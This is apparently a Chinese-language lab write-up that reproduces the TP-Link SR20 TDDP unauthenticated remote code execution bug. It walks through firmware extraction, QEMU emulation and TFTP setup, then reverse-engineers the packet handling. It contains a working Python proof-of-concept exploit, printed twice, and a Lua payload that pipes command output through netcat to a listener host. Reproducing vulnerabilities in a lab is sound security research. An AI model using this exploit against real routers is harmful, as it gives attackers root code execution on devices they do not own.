TP-Link SR20 本地网络远程代码执行漏洞复现 固件下载 下载地址
固件提取 1 binwalk -Me tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin
image-20250328212819323
image-20250328212856403
已知该固件的协议是tddp
(网上说的,我用firmwalker
扫描没说webserver
是哪个)
找一下该文件在/usr/bin/tddp
;
image-20250328213457467
并且该文件是小端序arm-32
的。
搭建测试环境 本地测试 使用qemu-arm-static
测试环境,注意加-L
image-20250328214149361
qemu虚拟机 首先去下载arm系统文件
image-20250328214352296
1 2 3 wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2 wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
tplinknet.sh
:
1 2 sudo tunctl -t tap0 -u `whoami ` sudo ifconfig tap0 10.10.10.1/24
image-20250328215516563
tplinkrun.sh
:
1 2 3 4 5 6 7 8 #!/bin/sh qemu-system-arm \ -M vexpress-a9 \ -kernel /home/lxxxt/qemu-images/arm/vmlinuz-3.2.0-4-vexpress \ -initrd /home/lxxxt/qemu-images/arm/initrd.img-3.2.0-4-vexpress \ -drive if =sd,file=/home/lxxxt/qemu-images/arm/debian_wheezy_armhf_standard.qcow2 \ -append "root=/dev/mmcblk0p2 console=ttyAMA0" \ -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
这里需要注意的是我提示了debian_wheezy_armhf_standard.qcow2
的大小是 25GB,但qemu的要求是2的幂,所以要resize
1 qemu-img resize /home/lxxxt/qemu-images/arm/debian_wheezy_armhf_standard.qcow2 32G
image-20250328233953898
接着就是配置网络
1 ifconfig eth0 10.10.10.2/24
image-20250328234047003
image-20250328234108488
现在可以将文件系统传进来了,有很多种方法,我是用tar打包后python开端口在qemu里面wget
1 2 3 4 5 6 7 8 9 10 11 12 tar -cvf squashfs-root.tar squashfs-root python3 -m http.server wget http://10.10.10.1:8000/squashfs-root.tar tar -xvf squashfs-root.tar squashfs-root mount -o bind /dev ./squashfs-root/dev/ mount -t proc /proc/ ./squashfs-root/proc/ chroot . sh
搭建TFTP Server 编辑 /etc/default/atftpd
文件,USE_INETD=true
改为 USE_INETD=false
修改 /srv/tftp
为 /tftpboot
1 2 3 USE_INETD=false OPTIONS="--tftpd-timeout 300 --retry-timeout 5 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /tftpboot"
然后执行
1 2 3 4 sudo mkdir /tftpbootsudo chmod 777 /tftpbootsudo systemctl start atftpd sudo systemctl status atftpd
在 atftp 的根目录 /tftpboot
下写入 payload 文件
payload 文件内容为:
1 2 3 function config_test(config) os.execute("id | nc 10.10.10.1 1337") end
漏洞复现 TP-Link SR20 设备运行了 V1 版本的 TDDP 协议,V1 版本无需认证,只需往 SR20 设备的 UDP 1040 端口发送数据,且数据的第二字节为 0x31
时,SR20 设备会连接发送该请求设备的 TFTP 服务下载相应的文件并使用 LUA 解释器以 root 权限来执行,这就导致存在远程代码执行漏洞
也就是说我们的步骤为:
QEMU 虚拟机中启动 tddp 程序 宿主机使用 NC 监听端口 执行 POC,获取命令执行结果 POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import sysimport binasciiimport socketport_send = 1040 port_receive = 61000 tddp_ver = "01" tddp_command = "31" tddp_req = "01" tddp_reply = "00" tddp_padding = "%0.16X" % 00 tddp_packet = "" .join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding]) sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock_receive.bind(('' , port_receive)) sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = binascii.unhexlify(tddp_packet) argument = "%s;arbitrary" % sys.argv[2 ] packet = packet + argument.encode() sock_send.sendto(packet, (sys.argv[1 ], port_send)) sock_send.close() response, addr = sock_receive.recvfrom(1024 ) r = response.encode('hex' ) print (r)
成功复现漏洞
image-20250329000457783
漏洞分析 因为有的地方没有符号,我用的是通过搜索字符串去寻找某个地方,并且看到有一个博主的方法是根据库函数大致判断程序会完成哪些功能,再确定切入点,通过回溯的方法进行梳理,最后查到主函数的位置;
这里以recvfrom作为切入点
image-20250329002251061
image-20250329002355328
这里发现recvfrom函数的第二个参数是a1+45083
,也就是说我们传入的数据在a1的偏移45083处,并且下面的两条判断猜测是判断协议版本(这里可能是经验而谈吧,先记住)
然后继续往上回溯
image-20250329001757873
这里就比较熟悉了,对套接字进行宝典给,绑定到1040端口,其实我本身搜字符串也是直接搜到了这里,因为我们运行服务时就是这样;
image-20250329002700949
我们找到前面之后,就可以分析recvfrom后面的流程了,毕竟漏洞是从接收数据之后触发的;
image-20250329003402798
image-20250329003606676
image-20250329003415641
当我们传入的tddp协议包的第二个字节为0x31时
image-20250329003832245
image-20250329003929939
这已经可以看出是个命令拼接了;
tftp是一个传输文件的简单协议 -gr参数后跟要获取/下载的文件名与服务器IP地址:tftp -gr 文件名 资源服务器ip
image-20250329004203099
而这里是限制我们poc中用的payload,里面固定的函数名和参数名;
POC解释 tddp协议:
image-20250329004637668
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import sysimport binasciiimport socketport_send = 1040 port_receive = 61000 tddp_ver = "01" tddp_command = "31" tddp_req = "01" tddp_reply = "00" tddp_padding = "%0.16X" % 00 tddp_packet = "" .join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding]) sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock_receive.bind(('' , port_receive)) sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = binascii.unhexlify(tddp_packet) argument = "%s;arbitrary" % sys.argv[2 ] packet = packet + argument.encode() sock_send.sendto(packet, (sys.argv[1 ], port_send)) sock_send.close() response, addr = sock_receive.recvfrom(1024 ) r = response.encode('hex' ) print (r)
参考文章 重现 TP-Link SR20 本地网络远程代码执行漏洞
对TP-Link SR20 tddp协议漏洞的详细逆向研究
TP Link SR20 ACE漏洞分析